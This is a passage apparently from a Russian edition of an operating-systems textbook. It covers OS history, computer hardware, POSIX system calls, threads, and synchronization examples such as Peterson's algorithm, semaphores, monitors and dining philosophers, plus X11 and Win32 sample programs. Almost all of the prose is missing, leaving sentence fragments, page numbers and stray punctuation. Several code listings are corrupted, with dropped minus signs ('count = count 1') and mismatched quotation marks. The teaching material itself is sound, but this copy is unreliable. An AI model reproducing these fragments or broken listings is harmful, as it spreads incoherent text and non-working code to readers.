Microsoft MS-DOS, Macintosh. Windows, MS-DOS (
, ). 10 ,
1985 1995 , Windows ,
MS-DOS. 1995 Windows
Windows 95.
, MS-DOS ,
, MS-DOS. 1998
, Windows 98. , Windows 95 Windows 98,
, 16-
Intel.
Microsoft Windows NT (NT New
Technology ),
Windows 95.
32- . Windows NT (David

1.2.

39

Cutler), VAX VMS,

VMS NT ( ,
VMS, DEC, Microsoft.
). Microsoft ,
MS-DOS Windows, , . Windows NT 4.0
- , .
Windows NT 1999 Windows 2000.
Windows 98 Windows NT 4.0.
, Microsoft Windows 98 Windows Me (Millennium
edition ). 2001 Windows 2000, Windows XP. ,
Windows.
. Windows 2000 Microsoft Windows .
XP , Windows Server
2003 Windows 2008. ,
. Windows
. , ( ).
2007 Microsoft
Windows XP Vista. , . Microsoft , Windows XP,
.
, - ,
(, ).
Windows 7,
, Vista. Windows 7 ,
. Windows 7 
, Vista . 2012 Microsoft
Windows 8, , . ,
:
, , , , .
Windows 7.
UNIX ( ). UNIX
,
, , . Pentium
Windows
Linux.

40

1.

x86 , ,
8086, 1970- . AMD Intel , :
32- 64-,
, . .
, 8086,
35 . , ,
, 32- 64-
x86-32 x86-64.
FreeBSD UNIX,
BSD . Macintosh FreeBSD (OS X). UNIX
, RISC-.
,
iOS 7 Android.
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X Window System ( X11),
. , , ,
, . X11
, Gnome KDE, UNIX , -
Macintosh Microsoft Windows.
1980- ,
(Tanenbaum and Van Steen, 2007).


.
( ).
. ,
,
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.

,
.
, ,
.
,
, -

1.2.

41

. ,
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1.2.5. ( 1990 ):

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.
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GS88 Penelope .
, , ,
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: -
.

Symbian OS.
, Samsung, Sony Ericsson, Motorola Nokia. Symbian
, RIM Blackberry OS (
2002 ) Apple iOS ( iPhone 2007 ).
, RIM -, iOS . Symbian .
2011 Nokia Symbian

42

1.

Windows Phone. Apple RIM (

, Symbian),
Linux Android, Google 2008 .
Android , .
. ,
,
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Android . Android
10.8.

1.3.
, . .
,
, ,
. ,
.
,
.
,
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- , .
, .

. 1.6.

1.3.

43

.
,
. ,
, . .
(Tanenbaum, 2012; Patterson and Hennessy, 2013).

1.3.1.
.
. : , ,
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.
,
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,
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Word). ,
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PSW ,
. PSW
-.
.

44

1.

, .
,
.

,
.
. , ,
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. . 1.7,
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. 1.7. : ;

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, ,

1.3.

45

, , , .
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,
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46

1.

, Intel (Gordon Moore) ,

. , , .
,

.
:
?
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.
.
- . , -
.

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Intel), x86
, SPARC, Power5, Intel Xeon, Intel
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Xeon Phi Tilera TilePro, 60 .
, .

1.3.

47

. 1.8. : - (L2);
- L2

, , (Graphics Processing Unit, GPU).

. , . .
.
(,
), ,
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1.3.3.
.
( ,
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,
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. 1.9. .

48

1.

.
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- , , . -
,

1.3.

49

. , 4096 - 64 32-
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(), (Random Access Memory (RAM)). core memory
, 19501960- .
, .
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.

(), , (Read
Only Memory (ROM)).
, .
- . . ,
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50

1.

, , (), EEPROM
(Electrically Erasable PROM), -. , ,
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5 10
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1.3.

51

. 1.10.

, , .
5 10
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) 160 / ( ).
, , SSD (Solid State Disks).
, , -.
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3. , ,
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(Memory Management Unit (MMU)), (. . 1.6).
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(context switch),
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, .
.

1.3.5. -
, . -

52

1.

. . 1.6 , -
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SATA-. SATA Serial ATA ( ATA),
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AT,
IBM Personal Computer Advanced Technology ( , ),
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. , , ,
advanced (, ), ,
30 .
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.
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,
OS X, Windows 7, Windows 8 Linux.

1.3.

53

,
. -
, Linux Windows. -
. , MINIX 3.

, .
. ,
.
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, , , .
. Windows.

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1,
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( , ), ,
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).

- (I/O port space), . - (
IN OUT), . -,
.
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1

,

. . .

54

1.

.
,
. -. , (
).
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( ,
)

1.3.

55

, , ,
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) ,
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-
(Direct Memory Access (DMA)),

.
DMA, , ,
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, ,
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5.
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1.3.6.
, . 1.6, -, IBM PC.
(, , IBM PC)
.
- . -,
. x86-
, . 1.12.
(, -, ,
PCIe, PCI, USB, SATA DMI),
.
. PCI (Peripheral Component Interconnect
).

56

1.

PCIe Intel PCI,

ISA (Industry Standard
Architecture ).
PCIe
.
. 2004
. ,
. , ,
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. PCIe . , ,
PCI, . , PCI 32-
32 . PCIe
, ,
(lane), .
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32 .
, . , 32 32 .
- ,
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, 16 PCIe 2.0 64 /. PCIe 3.0
, PCIe 4.0 .

PCI. . 1.12,
. , PCI ,
, , PCI-
, ,
.

DDR3, PCIe, DMI (Direct Media
Interface ).
, USB , DVD- SATA Ethernet-
PCIe. PCI-, PCI,
.
USB (Universal Serial Bus ) - . - USB 3.0
5 / ,
, IBM PC
ISA 8 /. USB
, ( ) 4 11 , USB- .

1.3.

57

DDR3

PCIe

DDR3

DMI
PCIe
PCIe
PCIe

SATA

PCIe

USB 2.0
USB 3.0
PCIe

Gigabit Ethernet

PCIe-
. 1.12. x86

USB , ()
- , ,
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12 /, USB 2.0 480 /, USB 3.0 5 /. USB-
,
, USB,
.
SCSI (Small Computer System Interface )
,
, , . . 640 /.
, . 1.12,
, , . Intel Microsoft
PC- , plug and play
( ). , Apple Macintosh. plug and play -

-. , 1

58

1.

- 0x60 0x64; 6
- 0x3F0 0x3F7; 7
- 0x378 0x37A . .
. , ,
, , 4. ,
. - DIP, (jumpers).
- ,
, .
,
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plug and play
-, -, ,
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1.3.7.
. (
)1. ,
- BIOS (Basic Input Output System). BIOS
-,
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BIOS .
BIOS . ,
.
PCIe PCI
. (
plug and play). - (,
-, ). . , plug
and play, . ,
,
.
1

(system board main board).

. .

1.4.

59

BIOS , ,
, CMOS-.
,
BIOS. - (
- USB), , , .
.
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,
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BIOS,
. .
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1.4.
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1.4.1.
( ) , .
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.
.
,
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60

1.

, .
,
. ,
.
OS/390,
OS/360.
UNIX, Linux.

1.4.2.
. , ,
.
, . ,
-. - . -
- . Solaris, FreeBSD, Linux Windows
Server 201x.

1.4.3.

, ,
. , ,
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.


. ,
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,

. ,
. , Windows Linux.

1.4.4.
.
.

.

1.4.

61

.
, , . Linux, FreeBSD, Windows 7,
Windows 8 OS X Apple.
, . ,
, .

1.4.5.

,
, . , , PDA (Personal Digital Assistant
), ,
.
. ,
Android Google iOS Apple, . , GPS, ,
. , (apps)
USB-, .

1.4.6.
,
.
, . ,
, ,
, , DVD, MP3-. ,
.
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. Embedded Linux, QNX VxWorks.

1.4.7.
, , , .
,
, ,
,
.
, .
, .

62

1.

,
.
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TinyOS.

1.4.8.
.
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.
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,

1.5.

63

. ,
, .

1.4.9. -
-. -
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- , , -.
.
- Java. ,
- Java Virtual Machine (JVM Java). Java- ( ),
JVM-.
Java-,
.
,
( , ).

1.5.

, , ,
. ,
, . .
, UNIX. , , .

1.5.1.
. ,
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, . , .
, ,
( ), , , ,
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, .

64

1.

2, ,
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() .
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1.5.

65

. 1.13. . A , B C.
B , D, E F

,
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)
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, , (User IDentification (UID)).
UID , .
UID, . - ,
(Group IDentification (GID)).
UID, UNIX
(superuser), Windows (administrator), ,
.
,
, ( ) , ,
1.
1

, , . (,
). . .

66

1.

,
2.

1.5.2.
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32- 64- , 232 264 .
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1.5.3.
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1.5.

67

,
( , ),
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. 1.14.

, , ,
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), ,
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. , ,
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, , -

68

1.

(). . 1.14 CS101

/Faculty/Prof.Brown/Courses/CS101.
, .
: Windows (/) (\), : \Faculty\Prof.Brown\Courses\CS101.
, UNIX.
, , .
, . 1.14, /Faculty/Prof.Brown , Courses/CS101 ,
. , , .
,
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. ,
.
UNIX .
,
-, DVD Blu-ray. ,
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.
, UNIX
. , . 1.15, .
mount - .
- ,
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,
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mount -
, . . 1.15,
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/b/y. b - ,
-, , /b
-. (
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UNIX .
, - .
,
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:

1.5.

69

. ,
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, , 4,

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/dev. , /dev/lp ( - line printer).

. 1.15. -: ;

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(. 1.16). A B , .
A B, ,
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UNIX . , ,
, , .

. 1.16. ,

.
4, 10 11.

1.5.4. -
. , ,

70

1.

? -: , , . .
.

-. -
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-. , , -.
- 5.

1.5.5.
,
. , ,
-, . : ,
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,
UNIX. UNIX 9- . .
, ,
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rwx- (read, write, execute). , rwxr-x--x
, , ,
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.
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1.5.6.
, . , , , ,

. ,
UNIX,
shell. ,
.
, ,
, . ,

1.5.

71

sh, csh, ksh bash. ,

(sh).
. 1.
, ,
. ,

date

date. , .

.
,
, ,
date >file

sort <file1 >file2

sort, file1, file2.

. ,
cat file1 file2 file3 | sort >/dev/lp

cat
sort, .
sort /dev/lp, .
&, , . ,
cat file1 file2 file3 | sort >/dev/lp &

,
.
, .
UNIX (, Kernighan and Pike,
1984; Kochan Quigley, 2004; Robbins, 2005).

. ,
( ),
. Linux ,
, : Gnome KDE.
, X11. Windows 1

, , . . .

72

1.

(Windows Explorer) -
,
.

1.5.7.
,
(Ernst Haeckel) :
. , , ()
(). ,
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, .
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(, -, ,
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1.5.

73

.
, . RISC-, (
) ,
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Java-, .
. ,
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.
.

. IBM 7090 7094, 1959
1964 , 128 .
,
, .
, FORTRAN COBOL, , .
- (PDP-1),
4096 18- , . - ,
.
1980- , 4 , .
, (8080, Z80,
8086), .
, , , C, C++, Java . -
, , , Java Java- ,
Java, .

IBM 7090/7094 ,
,
. IBM 360
, , (
). .
, -,
, .

74

1.

PDP-1 PDP-8 , PDP11,

UNIX.
,
Intel 8080, , ,
.
Intel 80286, , .

.
. , ,
, .
,
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.
-,
,

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). 4 2
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1.6.

75

, ,
, .
, .
CDC 6600,
1964 ,
.
, , , ,
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.
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-,
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RK05 2,5 ,
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. ,
CP/M,
.

( 3) ,
,
. ,
, - .
,
. MULTICS ,
. UNIX- Windows-.
, , (
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, .
,
,
, .

1.6.
, : .
, , : , ,

76

1.

.
.

. - ,
, .
( ).
(
) -
( UNIX , :
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).
. , ,
. , , POSIX (
9945-1), UNIX, System V, BSD, Linux, MINIX 3 . .,
,
, .
,
, , ,
, C.
. . - , ,
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read. , :
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C ,
: read. C
:
count = read(fd, buffer, nbytes);

( )
, count.
nbytes, , , ,
.
-
, count 1, -

1.6.

77

errno.
, .
. read. ,
read,
read, (. 1.17, 13).

. 1.17. 11 read(fd, buffer, nbytes)

C C++ , ( printf ).
, , (
&), .
( 4).
.
, , , , ,
( 5). TRAP
, , ( 6). TRAP
,
,
.

78

1.

TRAP . -, , .
. -, TRAP
, .
TRAP ( . 1. 17)
, .

, ( 7).
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9- 11-.
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.
. 1.1.
.
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(
, ,
). , , , , , ,
.
, POSIX . POSIX , , ,
: ,
- .

1.6.

79

( ),
.
POSIX , . ,
,
.
1.1. POSIX1

pid = fork()

pid = waitpid(pid, &statloc, options)

s = execve(name, argv, environp)

exit(status)

fd = open(file, how...)

s = close(fd)

n = read(fd, buffer, nbytes)

n = write(fd, buffer, nbytes)

position = lseek(fd, offset, whence)

s = stat(name, &buf)

s = mkdir(name, mode)

s = rmdir(name)

s = link(name1, name2)

name2,
name1

s = unlink(name)

s = mount(special, name, flag)

s = umount(special)

s = chdir(dirname)

s = chmod(name, mode)

s = kill(pid, signal)

seconds = time(&seconds)

, 1 1970

s 1. : pid id , fd ,
n , position seconds .
.

80

1.

1.6.1.
. 1.1 .
fork (). fork POSIX .
, , . .
fork (
) . ,
,
. ( , ,
.) fork
PID .
PID, , , .
fork
, .
. , , ,
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, ). waitpid
,
1. waitpid , , statloc,
( ).
.
, fork .
, . , execve,
, . (
exec,
.
.) 1.1
fork, waitpid execve .
1.1. ,
#define TRUE 1
while (TRUE) {
/* */
type_prompt( );
/* */
read_command(command, parameters); /* */
if (fork( ) != 0) {
/* */
/* */
waitpid(-1, &status, 0); /* */
} else {
/* */

1.6.

81

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82

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1.6.

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84

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1.6.

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86

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1.6.

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88

1.

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1.7.

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90

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1.7.

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92

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1.7.

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94

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1.7.

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96

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98

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1.8. C

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100

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1.8. C

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102

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1.9.

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104

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(Pathak et al., 2012; Petrucci and Loques, 2012; Shen et al.,
2013), (Elnably and Wang, 2012; Nightingale et al., 2012; Zhang
et al., 2013), - (De Bruijn et al., 2011; Li et al.,
2013; Rizzo, 2012), - (Liu et al., 2011),
(Giuffrida et al., 2013), (Rossbach et al., 2011),
(Jantz et al., 2013; Jeong et al., 2013),
(Baumann et al., 2009; Kapritsos, 2012; Lachaize et al., 2012; Wentzlaff et al., 2012),
(Elphinstone et al., 2007; Yang et al., 2006; Klein et
al., 2009), (Hruby et al., 2012; Ryzhyk et al., 2009, 2011;
Zheng et al., 2012), (Dunn et al., 2012; Giuffrida et
al., 2012; Li et al., 2013; Lorch et al., 2013; Ortolani and Crispo, 2012; Slowinska et al., 2012;
Ur et al., 2012), (Harter et al., 2012;
Ravindranath et al., 2012), (Agesen et al., 2012; Ben-Yehuda et al.,
2010; Colp et al., 2011; Dai et al., 2013; Tarasov et al., 2013; Williams et al., 2012).

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106

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110

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112

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114

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2.1.

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116

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2.1.

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118

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2.1.

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120

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2.1.

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2.2.

133

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pthread_exit

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Pthreads . , ( ) ,
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134

2.

pthread_create.
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#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#define NUMBER_OF_THREADS 10
void *print_hello_world(void *tid)
{
/* , */
printf(", . %d\n", tid);
pthread_exit(NULL);
}

2.2.

135

int main(int argc, char *argv[])

{
/* 10 , . */
pthread_t threads[NUMBER_OF_THREADS];
int status, i;
for(i=0; i < NUMBER_OF_THREADS; i++) {
printf(" . %d\n"", i);
status = pthread_create(&threads[i], NULL, print_hello_world,
(void *)i);
if (status != 0) {
printf(", pthread_create
status);
exit(-1);
}

%d\n"",

}
exit(NULL);
}

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136

2.

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2.2.

137

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138

2.

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2.2.

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140

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142

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2.2.

143

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144

2.

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2.2.

145

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146

2.

alarm,
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2.3.

147

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148

2.

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2.3.

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150

2.

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2.3.

151

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(Precheld, 2000).

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152

2.

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2.3.

153

-.
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#define FALSE
0
#define TRUE
1
#define N
2
/* */
int turn;
/* ? */
int interested[N];
/* 0 (FALSE) */
void enter_region(int process); /* process 0 1 */
{
int other;
/* */
other = 1 process;
/* */
interested[process] = TRUE; /* */
turn = process;
/* */
while (turn == process && interested[other] == TRUE)/*
*/;
}
void leave_region(int process)
/* , */
{
interested[process] = FALSE; /* */ }

(
) enter_region,
, 0 1.
, , .
,
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0. 1
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FALSE, , 0
leave_region, .
,
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turn. ,
. , 1 turn
1. while, 0
. 1
, 0
.

TSL
, . , ,

154

2.

TSL RX,LOCK

(TSL Test and Set Lock, ),

. lock RX,
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,
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2.3.

155

leave_region. - , . , ,
.
2.3.
TSL
enter region:
TSL REGISTER,LOCK
CMP REGISTER,#0
JNE enter_region
RET
leave region:
MOVE LOCK,#0
RET

|
|
|
|
|
|

lock 1
lock ?
, ,

;

| lock
|

TSL XCHG,
, .
, , 2.4, ,
TSL. XCHG
Intel x86.
2.4.
XCHG
Enter_region:
MOVE REGISTER,#1
XCHG REGISTER,LOCK
CMP REGISTER,#0
JNE enter_region
RET
leave region:
MOVE LOCK,#0
RET

|
|
|
|
|
|
|

1
lock
lock ?
, ,

;

| lock
|

2.3.4.
, , TSL XCHG, ,
. :
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,
. : H L .
, H
. , L

156

2.

, H ( ,
-). H , , H, L , L
, H .
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sleep wakeup. sleep
, ,
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sleep wakeup.

( ).
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2.3.

157

2.5.

#define N 100
int count = 0;

/* */
/* */

void producer(void)
{
int item;
while (TRUE) {
item = produce_item( );
if (count == N) sleep( );
insert_item(item);
count = count + 1;
if (count == 1) wakeup(consumer);
}
}

/*
/*
/*
/*
/*
/*

*/
*/
, */
*/
*/
? */

void consumer(void)
{
int item;
while (TRUE) {
/* */
if (count == 0) sleep();
/* , */
item = remove_item( );
/* */
/* */
count = count 1;
if (count == N 1) wakeup(producer);
/* ? */
consume_item(item);
/* */
}
}

insert_item remove_item .
. count. .
, count, ,
0.
. , count
, 1. ,
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, , .
,
, , 0, .
. .
wakeup ,
. -

158

2.

, .

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2.3.5.
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.
up, wakeup .
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P V .

2.3.

159

, -, , ,
Proberen () Verhogen ( ),
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-

2.6 , . , ,
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160

2.

,
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. ,
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,
. .
.
2.6. ,

#define N 100
typedef int semaphore;
semaphore mutex = 1;
semaphore empty = N;
semaphore full = 0;
void producer(void)
{
int item;
while (TRUE) {
item = produce_item( );
down(&empty);
down(&mutex);
insert_item(item);
up(&mutex);
up(&full);
}

/* */
/*
*/
/* */
/* */
/* */

/* TRUE , 1 */
/* -
*/
/* */
/* */
/* */
/* */
/* */

}
void consumer(void)
{
int item;
while (TRUE) {
down(&full);
down(&mutex);
item = remove_item( );
up(&mutex);
up(&empty);
consume_item(item);
}

/*
/*
/*
/*
/*
/*
/*

*/
*/
*/
*/
*/
*/
*/

. full empty
. ,
, ,

2.3.

161

. ,
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2.3.6.
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mutex_unlock. ,
, .

TSL XCHG.
2.7 mutex_lock mutex_unlock,
, .
, XCHG, , .
2.7. mutex_lock mutex_unlock
mutex_lock:
TSL REGISTER,MUTEX
CMP REGISTER,#0
JZE ok

CALL thread_yield

ok:

JMP mutex lock

RET

mutex_unlock:
MOVE MUTEX,#0
RET

|
|
|
|
|
|
|
|
|
|
|
|

1
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,

;


;

| 0
|

162

2.

mutex_lock enter_region 2.2, . enter_region , lock (

).
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2.3.

163

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164

2.

. , , .
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Pthreads
Pthreads ,
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pthread_mutex_lock, , .
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, . , pthread_mutex_
unlock , , .
, .
2.6. Pthreads,

pthread_mutex_init

pthread_mutex_destroy

pthread_mutex_lock

pthread_mutex_trylock

pthread_mutex_unlock

Pthreads .

2.3.

165

. .
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). ,
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pthread_cond_broadcast ,
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2.7. Pthreads,

pthread_cond_init

pthread_cond_destroy

pthread_cond_wait

pthread_cond_signal

pthread_cond_broadcast

. ,
, , .
, . pthread_cond_wait

.
.

166

2.

, ( ) . ,
, . ,
.
2.8
-, . ,
, , .
, , , .
. , ,
, ,
UNIX .
2.8.
#include <stdio.h>
#include <pthread.h>
#define MAX 1000000000
pthread_mutex_t the_mutex;
pthread_cond_t condc, condp;
int buffer = 0;

/* */
/* */
/* ,
*/
/* */

void *producer(void *ptr)

{
int i;
for (i= 1; i <= MAX; i++) {
pthread_mutex_lock(&the mutex);

/*
*/
while (buffer != 0) pthread_cond_wait(&condp, &the_mutex);
buffer = i;
/* */
pthread_cond_signal(&condc);
/* */
pthread_mutex_unlock(&the mutex); /* */

}
pthread exit(0);
}
void *consumer(void *ptr)
{
int i;
for (i = 1; i <= MAX; i++) {
pthread_mutex_lock(&the_mutex);

/* */

/*
*/
while (buffer ==0 ) pthread_cond_wait(&condc, &the_mutex);
buffer = 0;
/* */
pthread_cond_signal(&condp);
/* */
pthread_mutex_unlock(&the_mutex); /* */

}
pthread exit(0);
}
int main(int argc, char **argv)
{

2.3.

167

pthread_t pro, con;

pthread_mutex_init(&the mutex, 0);
pthread_cond_init(&condc, 0);
pthread_cond_init(&condp, 0);
pthread_create(&con, 0, consumer, 0);
pthread_create(&pro, 0, producer, 0);
pthread_join(pro, 0);
pthread_join(con, 0);
pthread_cond_destroy(&condc);
pthread_cond_destroy(&condp);
pthread_mutex_destroy(&the mutex);
}

2.3.7.
, , . down
, 2.6. ,
down ,
mutex empty, .
, ,
mutex 0. ,
down mutex,
0, . , - . ,
6.
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1973 (Hoare) 1974 , . , ,
.
,
. ,
, , .
2.9 , Pidgin Pascal.
C , , C
.
2.9.
monitor example
integer i;
condition c;

168

2.

procedure producer();
.
.
.
end;
procedure consumer();
.
.
.
end;
end monitor;

,
:
. ,

, .

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(, ,
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, . ,
Pthreads.
, ,
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, ,
signal.

2.3.

169

. ,
,
signal. , signal .
, . signal
,
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signal. . , , ,
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signal, , , .
-
Pidgin Pascal 2.10.
Pidgin Pascal
.
2.10. -
.
. N
monitor ProducerConsumer
condition full, empty;
integer count;
procedure insert(item: integer);
begin
if count = N then wait(full);
insert item(item);
count := count + 1;
if count =1 then signal(empty)
end;
function remove : integer;
begin
if count =0 then wait(empty);
remove = remove item;
count := count 1;
if count = N 1 then signal(full)
end;
count := 0;
end monitor;

170

2.

procedure producer;
begin
while true do
begin
item = produce item;
ProducerConsumer.insert(item)
End
end;
procedure consumer;
begin
while true do
begin
item = ProducerConsumer.remove;
consume item(item)
end
end;

, wait signal sleep

wakeup, , , . , , : sleep
wakeup , ,
. . : , , , ,
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, , wait .
, wait
.
Pidgin Pascal , , ,
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Java - , , () .
synchronized Java
: ,

synchronized.
synchronized .
2.11 - , Java. .
, ProducerConsumer, p c.
producer consumer . , our_monitor . ,
.
, - insert remove.

. , -

2.3.

171

.
,
.
our_monitor, , .
insert, ,
remove,
.
count , .
0 N 1 . lo
, . hi
, . lo = hi, , 0, N .
count .
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wakeup, ,
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Java , .
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.
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). ,
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TSL XCHG, . ,
,

172

2.

, . , , , .

. - .

2.3.8.
.
, send receive, ,
, , .
, :
send(destination, &message);

receive(source, &message);

, ( ,
). ,
. .

,
, , .
, .
, ,
,
.
, .
2.11. - Java
public class ProducerConsumer {
static final int N = 100;
static producer p = new producer( );

// ,
//
//
static consumer c = new consumer( );
//
//
static our monitor mon = new our monitor( );
//
//
public static void main(String args[ ]) {
p.start( );
//
c.start( );
//
}
static class producer extends Thread {
public void run( ) {
// run
int item;

2.3.

173

while (true) {
//
item = produce item( );
mon.insert(item);
}
}
private int produce_item( ) { ... }
//
}
static class consumer extends Thread {
public void run( ) {
// run
int item;
while (true) {
//
item = mon.remove( );
consume_item(item);
}
}
private void consume_item(int item) { ... }
//
}
static class our_monitor {
//
private int buffer[ ] = new int[N];
private int count = 0, lo = 0, hi = 0;
//
public synchronized void insert(int val) {
if (count == N) go_to_sleep( );
// ,
buffer [hi] = val;
//
hi = (hi + 1) %N;
//
count = count + 1;
//
if (count == 1) notify( );
// ,
//
}
public synchronized int remove( ) {
int val;
if (count == 0) go_to_sleep( ); // ,
val = buffer [lo];
//
lo = (lo + 1) %N;
// from
count = count 1;
//
buffer
if (count == N 1) notify( ); // ,
//
return val;
}
private void go_to_sleep() { try{wait();} catch(InterruptedException exc) {};}
}
}

, , , , , . , . ,
.
.
, ,
, , , .
.

174

2.

,
, send
receive. :
?
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.

-

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-.
2.12. , ,
.
N , N ,
. , N
. , .
,
, .
2.12. -
N
#define N 100

/* */

void producer(void)
{
int item;
message m;

/* */

while (TRUE) {
item = produce_item( );

/*

*/
receive(consumer, &m);
build_message(&m, item);
send(consumer, &m);

/* */
/* */
/* */

}
}
void consumer(void)
{
int item, i;
message m;
for (i = 0; i < N; i++) send(producer, &m); /* N
*/
while (TRUE) {

2.3.
receive(producer, &m);
item = extract_item(&m);
send(producer, &m);
consume_item(item);

/*
/*
/*
/*

175

*/
*/
*/
*/

}
}

, , ; , . ,
: , ,
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al., 1994; Snir et al., 1996.

2.3.9.

, -, . ,

176

2.

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. .
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2.3.

177

.
n + 1, n,
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2.3.10. :

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. B D,
. ? ? ? ,
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. . ,
,
(read-side critical section), , .
.
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178

2.
:
A

(a)

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E X.
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X A. ,
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2.4.
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2.4.

179

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107 892 ( NTSC) 90 000 ( PAL)

180

2.

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2.4.

181

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182

2.

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2.4.

183

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184

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2.4.

185

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186

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2.4.

187

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B 12 , C 16 D 20 14 .

. 2.21. , :
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188

2.

, (. 2.21, ). 4, 8, 12
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2.4.

189

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190

2.

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2.4.

191

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CTSS (Compatible
Time Sharing System ),
, IBM 7094
(Corbato et al., 1962). CTSS , 7094
. . CTSS ,

192

2.

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2.4.

193

, , aT0 + (1 a)T1.
a, ,
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:
T0;

T0/2 + T1/2;

T0/4 + T1/4 + T2/2;

T0/8 + T1/8 + T2/4 + T3/2.

T0 1/8.


. ,
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194

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2.4.

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196

2.

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2.4.

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198

2.

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2.5.

199

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200

2.

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2.13.
#define N 5

/* */

void philosopher(int i)
{
while (TRUE) {
think( );
take_fork(i);
take_fork((i+1)

/* i: ( 0 4) */

eat();
put_fork(i);
put_fork((i+1)

% N);

% N);

/*
/*
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*/
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*/

}
}

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2.5.

201

, 2.14, . state, , : ,
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i 2, LEFT 1, RIGHT 3.
2.14.
#define N
#define LEFT
#define RIGHT
#define
#define
#define
typedef

5
(i+N1) %N
(i+1) %N

THINKING
0
HUNGRY
1
EATING
2
int semaphore;

int state[N];
semaphore mutex = 1;
semaphore s[N];
void philosopher(int i)
{
while (TRUE) {
think();
take_forks(i);
eat();
put_forks(i);
}
}
void take_forks(int i)
{
down(&mutex);
state[i] = HUNGRY;
test(i);
up(&mutex);
down(&s[i]);

/* */
/* i- */
/* i-
*/
/* */
/* */
/* */
/*
*/
/*
*/
/*
*/
/*
*/
/* i ( 0 N1) */
/*
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/*
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*/
*/
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*/
*/

/* i ( 0 N1) */
/* */
/*
*/
/* */
/* */
/* ,
*/

}
void put_forks(i)
{
down(&mutex);
state[i] = THINKING;
test(LEFT);
test(RIGHT);

/* i ( 0 N1) */
/* */
/* */
/*
*/
/*

202

2.

up(&mutex);

*/
/* */

}
void test(i)
/* i ( 0 N1) */
{
if (state[i] == HUNGRY && state[LEFT] != EATING && state[RIGHT] != EATING) {
state[i] = EATING;
up(&s[i]);
}
}

, , , .
,
philosopher, : take_forks, put_ forks test
, .

2.5.2.
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2.6. ,

203

, : ,
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et al., 1971) , .
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2.15.
typedef int semaphore;
semaphore mutex = 1;
semaphore db = 1;
int rc = 0;

/*
/*
/*
/*

*/
'rc' */
*/

*/

void reader(void)
{
while (TRUE) {
down(&mutex);
rc = rc + 1;
if (rc == 1) down(&db);
up(&mutex);

/*
/*
/*
/*
/*

*/
rc */
*/
... */

rc */
*/
rc */
*/
... */
rc

read_data_base( );
down(&mutex);
rc = rc 1;
if (rc == 0) up(&db);
up(&mutex);

/*
/*
/*
/*
/*

use_data_read();

/* */

*/
}
}
void writer(void)
{
while (TRUE) {
think_up_data( );
down(&db);
write_data_base( );
up(&db);
}
}

/*
/*
/*
/*
/*

*/
*/
*/
*/
*/

2.6. ,

1 , .
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204

2.

. ,
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(Boyd-Wickizer, 2010).

(Viennot et al., 2013).
,
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(Giffin et al., 2012).
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(Yuan and Nahrstedt, 2006), (Bulpin
and Pratt, 2005) (Koufaty, 2010).
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206

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207

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208

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209

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210

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211

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212

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215

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216

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3.1.

217

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220

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225

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229

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1000 REG
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230

3.

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0. , 0 ( 0 4095),
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8192, .
0 4095
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MOV REG,8192

MOV REG,24576

8192 ( 2)
24 576 ( 6).
20 500 20 5 (
20 480 24 575) 12 288 + 20 = 12 308.

3.3.

231

. 3.9. ,
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16 8
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232

3.

, 1, 8 4096
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3.3.

233

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3.3.

235

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3.3.

237

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1
1
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129
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238

3.

,
TLB , .
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TLB, .

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3.3.

239

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240

3.

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4. PT1 -

3.3.

241

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242

3.

.
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. 3.13.

3.4.

243

, -, .
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.
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244

3.

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3.4.

245

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1 ,
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. , , ,
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246

3.

. NRU ,
, , , , , .

3.4.3. ,
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.
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3.4.

247

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R; ,

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.
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R .
, R .
A, R .
A . , .

3.4.5.
, .
(. 3.15).
.

. 3.15.

248

3.

,
. R 0, ,

. R 1,
. ,
R = 0. , .

3.4.6.

,
, , ,
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3.4.7. LRU
LRU , . ,
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R, 0 1.
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3.4.

249

,
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.

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,

250

3.

,
. , ,
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.
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3.4.

251

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k > 1 ,
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k w(k, t) ,
, ,
. . 3.17 , k.
, , ,
, , k, . , , , , ,
1000 ,
1 ,
. k.

252

3.

. 3.17. , k
. w(k, t) t

, k,
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,
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.
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3.4.

253

, ,
100 .
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5.6. : , ,

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450

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5.6. : , ,

453

5.2. X Window
#include <X11/Xlib.h>
#include <X11/Xutil.h>
main(int argc, char *argv[])
{
Display disp;
Window win;
GC gc;
*/
XEvent event;
int running = 1;

/* */
/* */
/*
/* */

disp = XOpenDisplay("display name");

win = XCreateSimpleWindow(disp, ... );

/* X- */
/*
*/
XSetStandardProperties(disp, ...);
/* */
gc = XCreateGC(disp, win, 0, 0);
/*
*/
XSelectInput(disp, win, ButtonPressMask | KeyPressMask | ExposureMask);
XMapRaised(disp, win);
/* ;
Expose */
while (running) {
XNextEvent(disp, &event);
/* */
switch (event.type) {
case Expose: ...; break;
/* */
case ButtonPress: ...; break;
/* */
case Keypress: ...; break;
/* */
}
}
XFreeGC(disp, gc);
XDestroyWindow(disp, win);
XCloseDisplay(disp);

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X-, .
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, .
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Windows. , .
- ,

454

5.

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, WIMP.
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, . , - .
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5.6. : , ,

455

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456

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Windows.
, .
windows.h, ,
, , ,
Windows-.

5.6. : , ,

457

5.3. Windows-
#include <windows.h>
int WINAPI WinMain(HINSTANCE h, HINSTANCE hprev, char *szCmd, int iCmdShow)
{
WNDCLASS wndclass;
/* */
MSG msg;
/* */
HWND hwnd;
/* */
/* wndclass */
wndclass.lpfnWndProc = WndProc;
/* ,
, */
wndclass.lpszClassName = " ";
/* */
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); /* */
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
/*
*/
RegisterClass(&wndclass);
/* Windows wndclass */
hwnd = CreateWindow ( ... )
/* */
ShowWindow(hwnd, iCmdShow);
/* */
UpdateWindow(hwnd);
/* */
while (GetMessage(&msg, NULL, 0, 0)) { /*
*/
TranslateMessage(&msg);
/* */
DispatchMessage(&msg);
/* msg
*/
}
return(msg.wParam);
}
long CALLBACK WndProc(HWND hwnd, UINT message, UINT wParam, long lParam)
{
/* . */
switch (message) {
case WM_CREATE: ... ; return ... ;
case WM_PAINT: ... ; return ... ;

/* */
/*
*/
/* */

case WM_DESTROY: ... ; return ... ;

}
return(DefWindowProc(hwnd, message, wParam, lParam));

/* */

, .
WINAPI , .
, h, . Win32
- , (,
, ), ,
, , .
,
h. -

458

5.

. , szCmd,
, , , ,
. , iCmdShow, ,
,
( ).
Microsoft
. ,
. (J. Lukasiewicz) .
, Microsoft,
(Charles Simonyi).
. : c (
character), w ( word, 16-
), i (32- integer), l ( long,
32- ), s ( string), sz (, zero), p ( pointer), fn ( function) h ( handle). , , szCmd ,
, iCmdShow . ,
,
Windows. UNIX .
,
. 5.2 wndclass.
